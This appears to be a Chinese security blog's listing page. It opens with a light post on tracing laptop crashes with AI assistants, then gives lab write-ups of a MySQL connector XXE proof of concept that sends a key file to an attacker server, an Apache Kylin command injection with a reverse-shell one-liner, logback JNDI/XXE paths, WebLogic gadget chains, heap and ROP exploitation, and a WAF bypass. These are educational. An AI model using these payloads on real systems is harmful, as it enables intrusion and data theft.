闻道解惑


  • 首页

  • 标签

  • 站点地图

连续蓝屏的定位趣事

发表于 2026-09-07

三连黑屏

周六凌晨到上午,我的笔记本一口气蓝屏了三次。

好吧,严格来说不能叫“蓝屏”——Windows 11 已经把它换成了黑色。颜色变得低调了,杀伤力倒是一点没打折。

Black Screen

一次可以说是偶然,两次可以安慰自己“重启能治百病”,可连续三次就多少有点不讲武德了:我买的是电脑,不是开机动画播放器啊!

于是立刻请出 WinDbg,打开 MiniDump 文件,执行 !analyze -v。面对满屏熟悉又陌生的调用栈,我做出了一个非常符合时代精神的决定——把分析结果交给 AI。

第一位会诊专家:Claude。

WinDbg

Claude:显卡驱动,先背一下锅

Claude 反应很快:这个错误信息和调用栈已经很明显了!如果不是 Android 虚拟机或 Hyper-V 引起的,那大概率就是 NVIDIA 驱动有问题。别犹豫,升级驱动!

Claude

听起来有理有据,而且显卡驱动在蓝屏案里也算“惯犯”。于是我熟练地点开更新,把 NVIDIA 驱动升到最新版,然后重启电脑。

接下来一整个下午风平浪静。程序能跑,网页能开,电脑也没再表演原地昏厥。

我一度以为案子已经破了,甚至在心里给 Claude 发了一面“妙手回春”的锦旗。

第四次黑屏

到了晚上,我正美滋滋地在 B 站刷《凡人修仙传》,熟悉的画面突然再次降临:相同的黑屏,相同的错误码,连出场方式都没有一点创新。

第四次了。

Black Screen

看来下午的平静并不是问题解决了,只是问题睡了个午觉。

Claude 的药只能暂时退烧,病根还在。既然一份 Dump 不够,那就把四份一起摆上桌,请第二位专家 ChatGPT 来做个联合会诊。

ChatGPT:四份 Dump 串起证据链

这一回分析得慢得多。ChatGPT 对着四个 Dump 文件来回翻了半个小时,总算把散落的线索串了起来,锁定了一个意想不到的嫌疑人:一直在后台默默写代码的 Kimi。

ChatGPT

原来,Kimi 在后台写出的代码里藏着一颗“内存炸弹”:某次运行竟然试图申请超过 200 GB 的内存。系统资源被迅速吃光,最后倒下的却是显卡相关模块,于是 Dump 里的第一现场看起来就像显卡驱动闯了祸。

显卡驱动站在崩溃现场,一脸无辜:不是,怎么又算我头上?

Kimi:我建议先复现一下

既然嫌疑指向了 Kimi 写出的代码,那就轮到它自查了。

没想到,Kimi 开口第一句话就差点让我从椅子上滑下去:

我们先复现一下问题。

Kimi Repo

复现?那可是一次申请 200 GB 内存的复现!这不是复现 Bug,这是准备现场再办一场黑屏发布会。

我赶紧叫停。在接受了一番严肃的安全教育之后,Kimi 终于放弃了“再炸一次看看”的大胆想法,改为老老实实检查代码和编译结果。

经过一轮漫长分析,Kimi 又找到了新的怀疑对象:Visual Studio 的 C/C++ 编译器 cl。

Kimi CL

按照 Kimi 的判断,代码本身似乎没有问题,使用 /O0 编译时运行也正常;但切换到 /O2 后,编译器对栈内存进行了重排,导致内存申请相关变量的偏移出现异常,最终触发了那次离谱的超大内存申请。

最终,Kimi 修改了代码,固定了关键变量的位置,绕开了编译优化带来的影响。重新编译、运行,一切恢复正常。

好了,这下终于可以安心地继续——刷剧编程了。

All AI

番外:摸鱼篇

案子虽然破了,却还留下一个疑点:既然真凶不是显卡驱动,为什么升级驱动以后,电脑整整一个下午都安然无事?那段时间里,Kimi 明明也一直在后台“努力工作”啊。

仔细一回想,我才记起来:下午出门前,我只给 Kimi 发了一条 /init 命令。等晚上回来一看,好家伙,六个多小时过去了,命令居然还没执行完,本该生成的 AGENTS.md 更是一个字都没有!

真相这才彻底水落石出:下午没有蓝屏,既不是新版驱动药到病除,也不是电脑突然良心发现,而是“真凶”压根没上班。

看来,比起甩锅,Kimi 更擅长的还是摸鱼。

kimi-moyu

尾声

至此,这场由四次黑屏发起的“联合会诊”终于告一段落:Claude 根据第一份现场报告先怀疑显卡驱动,ChatGPT 对比四份 Dump 后发现资源耗尽的线索,Kimi 再沿着自己的代码一路追到 /O2 优化下的异常行为。三位 AI 各自贡献了一段推理,也各自展示了一下什么叫“一本正经地把锅递给下一位”。

这次排障最有意思的地方,不是谁第一次就猜中了答案,而是每一步都让真相的范围更小了一点。Dump、调用栈、内存申请记录和不同编译参数下的表现,最终组成了一条比“看起来很像”更可靠的证据链。

所以,下次再遇到蓝屏,不妨先深呼吸,再打开 Dump。毕竟屏幕黑下去的时候,电脑通常不会主动交代;但它留下的线索,往往比任何一位信心满满的“专家”都诚实。

当然,前提是别让 AI 为了验证结论,再申请一次 200 GB 内存。

MySQL CVE-2021-2471 POC

发表于 2021-10-24

MySQL CVE-2021-2471 XXE POC

零、影响范围

1
2
infected: mysql-connector-java <= 8.0.36
fixed: mysql-connector-java > 8.0.37

一、非现实世界的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final String connection_url = "jdbc:mysql://192.168.64.137:3306/sqlxmltest";
private static final String connection_user = "root";
private static final String connection_pass = "root";
private static final String poc = "" +
"<!DOCTYPE b [" +
" <!ENTITY xxe SYSTEM \"http://192.168.64.137:8041/poc.txt\">" +
"]>" +
"<name>&xxe;</name>";

public static void poc() throws Exception {
Connection connection = DriverManager.getConnection(connection_url, connection_user,connection_pass);
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
}

二、现实世界的POC

1、建表

MySQL 中没有 SQLXML 类型,建表的时候选择字符串类型即可。

1
2
3
4
create table RSS_FEEDS
(RSS_NAME varchar(32) NOT NULL,
RSS_FEED_XML longtext NOT NULL,
PRIMARY KEY (RSS_NAME));

2、初始化表数据

1
2
3
INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) 
VALUES ('NORMAL',
'<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<struts>\r\n <constant name=\"struts.i18n.encoding\" value=\"gb2312\">324</constant>\r\n <package name=\"stuts2\" extends=\"struts-default\">\r\n <action name=\"login\" class=\"ActionUnit.Person\">\r\n <result name=\"s\">1_1.jsp</result>\r\n <result name=\"t\">1_2.jsp</result>\r\n <result name=\"m\">1_3.jsp</result>\r\n <result name=\"fail\">1_4.jsp</result>\r\n </action>\r\n <action name=\"modifyPassword\" class=\"student.ModifyPassword\">\r\n <result name=\"success\">2_1.jsp</result>\r\n <result name=\"fail\">2_2.jsp</result>\r\n </action>\r\n <action name=\"studentquery\" class=\"student.QueryScore\">\r\n <result name=\"success\">3_1.jsp</result>\r\n <result name=\"false\">3_2.jsp</result>\r\n </action>\r\n <action name=\"infoquery\" class=\"student.QueryInfo\">\r\n <result name=\"success\">4_1.jsp</result>\r\n <result name=\"false\">4_2.jsp</result>\r\n </action>\r\n </package>\r\n</struts>');

3、读表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping(value = "/get/{rss_name}")
public String get_sql_xml(@PathVariable("rss_name") String rss_name) throws Exception {
Connection con = DriverManager.getConnection(connection_url, connection_user,connection_pass);

String selectRowQuery =
"select RSS_NAME, RSS_FEED_XML " +
"from RSS_FEEDS " +
"WHERE RSS_NAME = ?";
PreparedStatement selectRow = con.prepareStatement(selectRowQuery);
selectRow.setString(1, rss_name);
ResultSet resultSet = selectRow.executeQuery();
resultSet.next();
SQLXML sqlxml = resultSet.getSQLXML(2);
DOMSource domSource = sqlxml.getSource(DOMSource.class);
return domSource.getNode().getNodeName();
}

4、攻击者:通过SQL注入或者数据库访问来修改数据

1
2
3
INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) 
VALUES ('READFILE',
'<!DOCTYPE data SYSTEM \"http://192.168.64.137:8041/xxe.dtd\"><name>&xxe;</name>');

5、攻击者准备 dtd 文件

1
2
3
<!ENTITY % file SYSTEM "file:///opt/security/rootkey/1.key">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://192.168.64.137:8041/?%file;'>">
%all;

6、攻击者准备 web server

1
python -m SimpleHTTPServer 8041

7、攻击者触发漏洞

1
curl -vv 'http://192.168.64.137:8080/get/READFILE'

8、攻击者的 web server收到 dtd 下载请求和 key 文件读取成功的报文

1
2
3
4
5
6
$ python -m SimpleHTTPServer 8041                                                                                                                                                                                                                                                       1 ⨯
Serving HTTP on 0.0.0.0 port 8041 ...


192.168.64.137 - - [23/Oct/2021 13:00:59] "GET /xxe.dtd HTTP/1.1" 200 -
192.168.64.137 - - [23/Oct/2021 13:00:59] "GET /?key=3c0bac92-977a-4cb5-afa7-32b2e83605bf HTTP/1.1" 200 -

三、漏洞查找关键点

1
mysql-connector-java-8.0.26.jar or lower version
1
2
SQLXML sqlxml = resultSet.getSQLXML(2);
DOMSource domSource = sqlxml.getSource(DOMSource.class);

从 WebLogic 一脉相承的三个反序列化 CVE 说起

发表于 2020-09-06

Java 反序列化漏洞的利用有两个条件。首先是漏洞点,也就是将攻击者可控的内容传递给 ObjectInputStream.readObject() 函数的调用链;另一个条件是gadget,也就是从某个类的反序列化入口函数 readObject() 开始,一步步执行到危险函数的调用链。

WebLogic 对于 T3 协议和 IIOP 协议的处理,天然就会进行反序列化的漏洞点。因此,对于 WebLogic 反序列化漏洞的挖掘,主要就是在 gadget 的寻找和补丁绕过上。

2020年的1月、4月和7月, WebLogic 先后爆出了三个一脉相承的反序列化 CVE,涉及了七个 gadget。下面简单分析一下这三个 CVE 以及相关的 gadget。

CVE-2020-2555

2020年1月,CVE-2020-2555 被公开。这个反序列化 gadget 有三条利用链。

首先都是利用了 JDK 中的 BadAttributeValueExpException。这个类的特点是可以将对 readObject() 的调用,转换成对 toString() 函数的调用。

01-badattributevalue

BadAttributeValueExpException 的这个特性,可以显著扩大反序列化 gadget 的范围,因此反序列化利用工具 ysoserial 中,有五条利用链都使用这个类作为入口。

02-ysoserial-badattribute

经过从 readObject() 到 toString() 的转换之后,找到真正的入口函数:LimitFilter.toString()。

03-limitfilter

函数中调用的两处 extracotor.extract() 函数来自接口 ValueExtractor.

04-valueextractor

搜索一下这个接口函数的实现,共29个。

05-extract-implementation

CVE-2020-2555 的第一个调用链,利用了 ChainedExtractor 和 ReflectionExtractor 的两个 extract() 函数实现。

06-chainedExtractor

07-reflectionExtractor

这两个实现可以完美的串起一条利用链,和 ysoserial 里 CommonsCollections1 利用链中所使用的 ChainedTransformer.transform() 和 InvokerTransformer.transform() 几乎一模一样。

08-chainedTransformer

09-invokerTransformer

因此我们可以构造出 POC,基本原则是:

  • 1、使用 BadAttributeValueExpException 作为反序列化的入口类,从而调用到 toString()

  • 2、使用 LimitFilter 对象作为前者的 valObj,从而调用到 extract()

  • 3、使用 ChainedExtractor 作为 LimitFilter 的 m_comparator,从而可以进行链式 extract()。

  • 4、使用 ReflectionExtract 构建 ChainedExtractor,从而可以链式调用 method.invoke() 从而成功调用 Runtime.getRuntime().exec()。

最终的调用栈如下:

10-callstack

CVE-2020-2555 的第二条利用链,同样来自上面 29 个 ValueExtractor.extract() 的实现类之一:MvelExtractor。

11-mvelExtractor

熟悉 MVEL 的你应该一眼就看出了利用方法,只要使用 MvelExtractor 替换掉前一个利用链的 3、4两步就可以了。最终调用栈如下:

12-callstack-mvelExtractor

第三条利用链,同样来自上面 29 个实现类之一:MultiExtractor。

13-multiExtractor

由于 MultiExtractor.extract() 函数中没有链式调用,因此我们可以将 MultiExtractor 作为连接第一条利用链中 LimitFilter.toString() 和 ChainedExtractor.extract() 的桥梁。LimitFilter.toString() 间接通过 MultiExtractor.extract() 调用到 ChainedExtractor.extract() 中。最终的调用栈如下:

14-callstack-multiExtractor

至于修复补丁,Oracle 打在了 LimitFilter.toString() 函数里。这个修复很神奇,仅仅封锁了三条调用链的入口,而从 MultiExtractor.extract() 经过 ChainedExtractor.extract() 调用到 ReflectionExtractor.extract() 的利用链、以及MvelExtractor.extract() 的利用链依然存在,只要再找一个入口就好了。

CVE-2020-2883

2020 年 4 月,CVE-2020-2883 被公开。同样的三条利用链,只是更换了入口函数。

前面说到,入口函数 LimitFilter.toString() 被修补,我们需要寻找一个新的入口。这个新入口同样可以在反序列化的时候,调用到 ValueExtract.extract() 中。

很快,大神们就找到了:ExtractorCompartor.compare()。

15-extractorComparator

ExtractorComparator.compare() 其实是对 jdk 中 Comparator.compare() 这个接口函数的实现。

16-jdk-comparator

那么,怎么从 readObject() 调用到 Comparator.compare() 函数呢? ysoserial 早就给出了答案:PriorityQueue。

17-ysoserial-PriorityQueue

调用链如下:

PriorityQueue.readObject()

    -> PriorityQueue.heapify()

        -> PriorityQueue.siftDown()

            -> PriorityQueue.siftDownUsingComparator()

                -> Comparator.compare()

现在,我们将 CVE-2020-2555 的三条利用链稍加改造,就能实现 CVE-2020-2883 三条新的利用链:

  • 1、使用 PriorityQueue 代替 BadAttributeValueExpException 作为反序列化的入口类,从而通过 readObject() 调用到 compare()

  • 2、将 ExtractorComparator 对象设置为 PriorityQueue 的 comparator 属性值,从而通过 compare() 调用到 extract()

  • 3、将 ChaninedExtractor 或 MvelExtractor 或 MultiExtractor 设置为 PriorityQueue 的队列元素,从而通过 extract() 调用到目标函数 method.invoke() 或 MVEL.excuteExpression()

这样就能顺利绕过 CVE-2020-2555 的补丁修复,构成了三条换汤不换药的新利用链。

以第一条利用链为例,最终的调用栈如下。

18-callstack-extractComparator

至于修复补丁,Oracle 并没有封禁利用链条上的 PriorityQueue 和 ExtractComparator ,只是将 ReflectionExtractor 和 MvelExtractor 放到了反序列化黑名单中。

仔细看下 CVE-2020-2883 的几个调用栈,从 PriorityQueue.readObject() 到 ExtractorComparator.compare() 再到 ValueExtractor.extract() 的利用链仍然存在,所以只需要在 29 个实现类中再找一个新的利用类就可以完成不定的绕过。

CVE-2020-14645

腾讯蓝军很快就找到了新的可利用的实现类 UniversalExtractor。

19-UniversalExtractor

20-UniversalExtractor-extractCommplex

只是这里在调用 method.invoke() 时存在限制条件,函数名称必须是 get或 is 起始。因此可以利用那些已知的 Json 反序列化 gadget 链进行攻击。最终的调用栈如下:

21-callstack-universalExtractor

心得

通常寻找反序列化 gadget,不论是用工具搜索还是手工进行,我们会将 readObject() 作为 source,将那些危险函数(如method.invoke()、Runtime.exec()、FileOutputStream.write()等)作为 sink进行查找。但其实,在 Java 纷繁复杂的各种依赖库中,已经存在了许许多多的代码链片段可以利用。例如 BadAttributeValueExpException 将 toString() 纳入了利用链,PriorityQueue 将 compare() 纳入了利用链,ExtractorComparator 将 extract() 纳入了利用链,等等等等。在搜索的时候,将这些扩展出的利用链作为 source 或 sink,会大大增加搜索的范围,也很可能会发现新的世界。

另一方面,对于漏洞的修复者而言,并不是堵住了入口就算修复了漏洞,而是要全方位封锁调用链上的方方面面,否则就会向 Oracle 一样留下永远补不完的 CVE。

Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

发表于 2020-06-08

来源:香依香偎@闻道解惑

apache-kylin

零、CVE-2020-1956

2020年5月22日,CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133 。

Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。

Apache Kylin 中的静态 API 存在安全漏洞。攻击者可借助特制输入利用该漏洞在系统上执行任意OS命令。以下产品及版本受到影响:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。

下面就来分析一下这个漏洞。

一、搭建环境

Kylin 的环境并不好搭建,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的组件需要安装配置。幸好,Kylin 官网文档 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 环境的启动指南,分别执行这两个命令即可一键启动。

1
docker pull apachekylin/apache-kylin-standalone:3.0.1
1
2
3
4
5
6
7
8
9
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

kylin-start-page

使用默认密码 admin/KYLIN 登录,就能看到已经配置好的模型(models),环境搭建大功告成。

kylin-models

二、Migrate Cube

这个漏洞的补丁代码在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a# 。

patch-code

从补丁代码里可以看出,漏洞点在 CubeService 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUri、dstCfgUri、projectName三个。

Migrate Cube 是什么?在官网的文档的 Restful 章节 http://kylin.apache.org/cn/docs/howto/howto_use_restapi.html#migrate-cube 中,可以看到这个 Restful接口的描述:

migrate-cube-doc

接口中显示需要两个路径入参,分别是 cube 和 project。回看 kylin 页面上的表格里,已经显示了 cube name 和对应的 Project 。

kylin-models

我们选择第一行记录中的 cube:kylin_sales_cube 和对应的 Project:learn_kylin 作为路径参数,POST 这个报文看看。

kylin-first-post

收到错误响应,提示 One click migration is disable。

first-post-response

二、Migrate Cube

One click migration is disable 的提示,看起来有点眼熟。回看一眼patch code,嘿,原来这个错误提示就在 migrateCube() 函数的开头呀。

code-for-response

对应的配置检查函数 isAllowAutoMigrateCube() 在 KylinConfigBase.java 中,从配置项中读取了 kylin.tool.auto-migrate-cube.enabled,默认值为 FALSE。

migrate-

如果要把配置修改为 true,有两个办法。

  • 方法一:使用 docker exec -it bash 命令进入容器,修改其中 conf/kylin.properties 文件,增加 kylin.tool.auto-migrate-cube.enabled=true 的配置项,然后在容器中使用 bin/kylin stop 和 bin/kylin start 命令重启 kylin。

enable-config

  • 方法二:在 WEB 界面上点击 SYSTEM 和 SET Config,手动输入配置项名称 kylin.tool.auto-migrate-cube.enabled 和值 True。

set-config

set-config-2

方法一是永久有效,只是需要重启 kylin 进程;方法二立即生效但进程重启或 Reload Config 之后就失效。我们选择相对简单一些的方法二来操作。

server-config

修改完配置之后,再次发送 POST Migrate Cube 的报文,这次的报错提示为 Source configuration should not be empty.

second-request

second-response

对应代码中的 srcCfgUri 和 dstCfgUri 的非空检查。

check-srcConfig

这两个值同样来自于配置项,分别是 kylin.tool.auto-migrate-cube.src-config 和 kylin.tool.auto-migrate-cube.dest-config。

src-dst-cfguri

我们可以用前面配置 kylin.tool.auto-migrate-cube.enabled 同样的方法来配置这两个值。不过,在配置之前,你有没有注意到,这两个值,就是命令注入的关键参数呢?

cfgUri

三、命令注入

好,用 destCfgUri 来注入试试。在界面上 Set Config,把 srcCfgUri 配置为 /home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/xiang; echo 。注意其中注入了 touch /tmp/xiang 的系统命令。

set-config-final

重新发起 Migrate Cube 的请求。

migrate-cube-request

收到 200 成功响应。

migrate-cube-respnse

查看 docker 容器,注入的命令 touch /tmp/xiang 已经成功执行。

touch-file-success

可以反弹 shell 么?当然可以。将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/172.17.0.1/9999 0>&1; echo 。其中注入的命令从 touch /tmp/xiang 换成了反弹 shell 的命令 bash -i >& /dev/tcp/172.17.0.1/9999 0>&1,反弹到宿主机 172.17.0.1 上。

reverse-shell-config

在宿主机上启动监听。

kylin-24-listen

再发送一次 Migrate Cube 报文,等待几秒即可获取反弹 shell。

reverse-shell-success

日志库logback的攻击路径

发表于 2020-03-07

来源:香依香偎@闻道解惑

logo

logback

logback 是 log4j 创始人设计的另一个开源日志组件。相比 log4j,重构了内核的 logback 的优势在于性能更高(关键路径性能提升十倍)、内存占用更小、文档更完善、功能更全面等等。Github 上的数据显示,logback 被八千多个项目所使用,包括 springboot 在内的多个框架已经使用 logback 作为默认的日志组件。

github

初步分析了一下 logback 库,有一些有趣的发现。

XXE

logback 查找配置文件的函数在ContextInitializer.findURLOfDefaultConfigurationFile(),首先读取启动参数 logback.configurationFile 来获取配置文件的地址(支持远端 URL地址)。如果找不到,再去 classpath 下依次查找如下三个文件作为配置文件:

  • a) logback-test.xml

  • b) logback.groovy(最新版本似乎不再支持)

  • c) logback.xml

configfile

获取配置文件之后,通过 JoranConfigurator.doConfigure() (实现在父类的GenericConfigurator.doConfigure()中) 读取 xml 配置文件,其中调用 SaxEventRecorder.recordEvents() 解析 xml 配置文件时存在 XXE 漏洞。

xxe-01

xxe-02

动态加载

通常情况下,配置文件的这一类 XXE 漏洞并不是大问题,毕竟配置文件只会在初始化的时候加载一次,攻击者没机会触发漏洞。但是 logback 库不一样。只要配置文件中配置了 scan 属性,它就会启动一个 scan task 监控配置文件的变动,支持配置文件变更时的自动加载。

scan-task

scan-doc

也就是说,我们有机会通过上传覆盖 logback 的 xml 配置文件来触发 XXE 漏洞。触发条件是:

  • a) logback 配置文件中配置了 scan 属性

  • b) logback 配置文件是以文件形式保存。

第二个条件是因为代码 convertToFile() 中的一个限制:配置文件 URL 必须以 file:// 开始。如果像 springboot 那样,把配置文件保存在 jar 包中,配置文件的 URL 以 jar:// 开始,就不会启动实时监控的 scan task。

convert

JNDI

除了自动更新之外,logback 的配置文件还有一个更强大的功能:利用 JNDI 的 RPC 功能从远端来读取内容,只要在配置文件中配置 <insertFromJNDI> 标签就行了,JNDI的远端路径就配置在这个标签的 env-entry-name 属性中。

env-entry-name

jndi-lookup

梳理一下,如果一个 web 应用满足如下三个条件:

  • a) logback 配置文件以文件形式保存
  • b) logback 配置文件中配置了 scan 属性
  • c) 有上传接口可以覆盖 logback 配置文件

我们就可以通过覆盖 logback 配置文件,来实现 XXE 攻击,以及 JNDI 的远程 RCE。

实战

验证一下。

  • a) 从 github 上拉取 spring-mvc-showcase 项目,将 pom.xml 中 log4j 的 dependency 修改为 logback,增加 logback.xml 配置文件,并配置 scan 属性。

pom

showcase

  • b) 通过tomcat运行war包。写一个上传接口,其中存在跨目录文件上传漏洞

upload

  • c) 通过上传接口覆盖 logback.xml文件,增加标签,指定恶意的jndi服务。

replace

  • c) 等待一个扫描周期(配置文件中配置的 30 秒)之后,恶意 JNDI 地址收到了访问请求,恶意程序成功执行。

rce

JMX

不仅如此,logback 还实现了 jmx 的 MBeans 接口。只要在配置文件中配置 <jmxConfigurator /> 的空标签,web 应用就会开放 jmx 端口,供 jconsole 进行连接和调用。

jmx-configurator

mbean-interface

在JMXConfigurator这个MBean中,公开给jconsole调用的接口如下。

mbean

验证一下。

  • a) 在之前的环境上,我们重新上传一个 logback.xml,配置上 <jmxConfigurator/> 标签。

upload

  • b) 等待一个周期查看tomcat进程,发现多了一个39327端口。

org-port

new-port

  • c) 使用 jconsole 连接,无需认证即可登录。可以直接查看 tomcat 的管理属性,以及调用 tomcat 和 logback 提供的 MBeans 操作接口。

jconsole

小结

logback 通过 scan 参数提供了配置文件的动态更新功能。如果可以覆盖这个配置文件,就可以实现XXE、JNDI、jmx等多种攻击方式了。

【堆溢出】从一个例子学习 House of Force

发表于 2019-12-15

【堆溢出】从一个例子学习 House of Forcet

来源:香依香偎@闻道解惑

House of Foce 是堆溢出在特定场景下的一种简单利用方式,通过一个例子来学习下。

首先看下运行环境, Ubuntu 16.04.1 LTS x64 中 Ubuntu GLIBC 2.23-0ubuntu10 版本的 GLIBC。

01-runtime

再看下源码,有四次 malloc() 调用,中间夹着一次模拟溢出的内存改写。

02-program

上 gdb,调试走起,我们一句一句的看。

03-gdb

第一个 malloc:16

现在是在调用第一个 malloc(16) 之前的状态。

04-before-first-malloc

可以看到,堆 heap 还没有分配出来(main_arena的top字段等于0,vmmap 还没有 heap 的内存段)。

05-main_arena-vmmap

按 ni 执行 **malloc(16)**之后,返回值是 0x602010。

06-601020

此时 main_arena 的 top 指针指向 0x602020,而vmmap 的 heap 段起始于 0x602000。

07-main_arena-vmmap

看看 0x602000 起始的这段堆内存的情况。

08-602000

0x602000 到 0x60201F 的这 32 字节内存,就是 malloc(16) 所占用的堆内存。其中,前 16 个字节(0x602000 ~ 0x60200F)是 GLIBC 管理的堆头,后 16 个字节(0x602010 ~ 0x60201F)是返回给程序使用的空间,所以 malloc(16) 的返回值就是 0x602010。而 main_arena 的 top 指针指向空闲堆块的起始地址 0x602020。示意图如下:

09-heap

模拟溢出的内存改写

接下来源码的 10 和 11 两行,是模拟用溢出的方式修改空闲内存块的 size 大小为 全F。

10-line-10-11

修改成功。

11-overflow-to-trunk-size

为什么要修改空闲内存块的大小为 全F?是为了下一步申请超大内存时,避免因为空闲内存块大小不够而返回失败。继续看源码的第 13 行,第二个malloc(),申请负数大小的内存。

12-line-13

第二个 malloc:-4128

从汇编可以看出,由于 malloc 的入参格式是正整数,因此程序运行时会将负数 -4128 转换成超大整数 0xFFFFFFFFFFFFEFE0.

13-minus-4128

我们计算一下,这一次堆块分配,从空闲堆块起始位置 0x602020 开始,加上 16 字节的堆头,再减去 4128 之后,应该是 0x601010。

14-calculator

看看执行 malloc(-4128) 之后,main_arena 的 top 指针,果然指向了 0x601010。

15-main_arena-after-second-malloc

而 0x601010 所在的区域,就是程序的 GOT 表。其中 0x601018 是 libc_start_main() 函数的 GOT 表项地址,0x601020 是 malloc() 函数的 GOT 表项地址。

16-got-table

也就意味着,堆块的内存分配已经被程序劫持到了 GOT 表中。此时堆块的示意图如下:

17-heap-image

第三个 malloc:16

第三个 malloc() 分为两步,首先是分配 16个字节,然后再向分配的内存中写入 main() 函数地址。

18-set-to-main

分配 16 个字节之后,main_arena的top指针是 0x602030,返回给程序的地址是 0x601020。

19-malloc-16-third

注意到 0x601020 其实是 malloc() 的 GOT 表项地址,现在被 malloc() 输出到了程序里。当源码中用 *(long *)p = (long)main; 来修改分配的内存时,我们其实是覆盖了 malloc() 函数的 GOT 表项值,也就是说, malloc() 函数被劫持成了 main() 函数!

20-hijacked-to-main

示意图如下

21-overflow-malloc-to-main

第四个 malloc:16

第四个 malloc() 就是分配 16 个字节。

22-malloc-fourth

但此时,malloc() 的 GOT 表项值已经被劫持成了 main() 函数地址。我们按 si 单步调试 step into,会发现 rip 走进了 main() 函数的空间。

23-si

24-rip-to-main

程序的流程被成功劫持!

House of Force

回顾一下,这个程序是怎么做到劫持运行流程导致重入了 main() 函数?其实只做了两件事情:

  • 修改了空闲堆块的 size 字段,从而避免下一步空间不够
  • 控制了 malloc() 申请的字节数,从而分配了超大空间

这就是 House of Force 的堆溢出利用技术。通常,这种利用方式需要满足两个条件:

  • 需要存在溢出漏洞,攻击者可以控制空闲堆块的 size 字段
  • 攻击者可以控制 malloc 的字节数和 malloc 的调用次数

只要满足这些条件,就可以利用例子中的方法抬高或者压低空闲堆块的地址,从而获得任意地址写的机会。

当然,不同版本 GLIBC 的堆块分配和处理方法都略有差异,真实利用时还需要在对应版本的 GLIBC 上仔细分析。

利用 Transfer-Encoding:Chunked 绕过 WAF

发表于 2019-07-20

利用 Transfer-Encoding: Chunked 绕过 WAF 实战

来源:香依香偎@闻道解惑

找到一个部署了 WAF 的站点。先发一个报文,删除了 cookie。

01-normal-request

可以看到服务端返回了 403,证明请求已经到达服务端了。

02-normal-response

接下来,在报文中增加无意义的 /etc/passwd,触发 WAF 拦截规则。

waf-03-inject-request

无法收到响应,请求被 WAF 拦截。

waf-04-none-response

现在我们看看怎么绕过WAF。bypassword 在 《在HTTP协议层面绕过WAF》 中提出了使用 Transfer-Encoding:chunked 来绕过 WAF 的方案,原理是将请求报文的body部分切分成多份来绕过WAF规则。我们来试试。

上一个请求需要做三点改动:

  • 请求的header部分,增加一个 “Tranfer-Encoding: chunked” 的 header
  • 请求的body部分切成多份,每一份都是 “Length+换行+Value+换行” 的格式
  • body部分的最后,增加 “0+空行+空行” 作为结束符

如下所示。

waf-05-chunked-request

可以看到服务端返回了 403,证明请求已经到达服务端了,顺利通过了 WAF 的检测。

waf-06-response

360 的 luoye、00theway、zonadu 在《利用分块传输吊打所有WAF》 中提到了一个改进方案,就是在每个 Length 和 换行 之间,插入 “分号;”开头的任意注释,进一步混淆 WAF 的处理,就像这样。

waf-07-chunked-comments-request

手工切分 http body 太麻烦了,c0ny1 写了一个 BurpSuite 插件 来实现报文的自动切分,代码在 https://github.com/c0ny1/chunked-coding-converter。插件效果如下。

waf-08-c0ny1-plugin-repeater-chunked-coding

waf-09-c0ny1-plugin-sqlmap-bypassWAF

参考资料:

  • 在HTTP协议层面绕过WAF
  • 利用分块传输吊打所有WAF
  • 编写Burp分块传输插件绕WAF

Linux x64 下的万能 Gadget

发表于 2019-06-30

Linux x64 下的万能 Gadget

来源:香依香偎@闻道解惑

一、通用 Gadget

蒸米在《一步一步学ROP之linux_x64篇》中提到,在栈溢出的场景下,只要 x64 程序中调用了 libc.so,就会自带一个很好用的通用Gadget:__libc_csu_init()。

__libc_csu_init

如图,先从 0x40061A 开始执行,将 rbx/rbp/r12/r13/r14/r15 这六个寄存器全部布置好,再 ret 到 0x400600 ,继续布置 rdx/rsi/rdi,最后通过 call qword ptr[r12+rbx*8] 执行目标函数。

这个通用 Gadget 好用的地方在于,不仅可以通过函数地址的指针(通常会用记录库函数真实地址的 got 表项)来控制目标函数,还可以控制目标函数的最多三个入参(rdi/rsi/rdx)的值。此外,只要设置 rbp=rbx+1而且栈空间足够,这个 Gadget 可以一直循环调用下去。

计算一下一次调用需要的空间。

可以看出,这个 Gadget 需要布置六个寄存器(rbx/rbp/r12/r13/r14/r15)加一个 ret 返回地址,x64 下至少需要 56 个字节的栈空间。如果再算上将 rip 指令跳转进来(0x40061A)的一个 ret 地址,那就是 64 字节的栈空间。

栈的布置如下:

stack-1

二、隐藏 Gadget:pop rdi,ret

其实,这个通用 Gadget 里,还隐藏了两个更好用的 Gadget。

pop-r14-r15

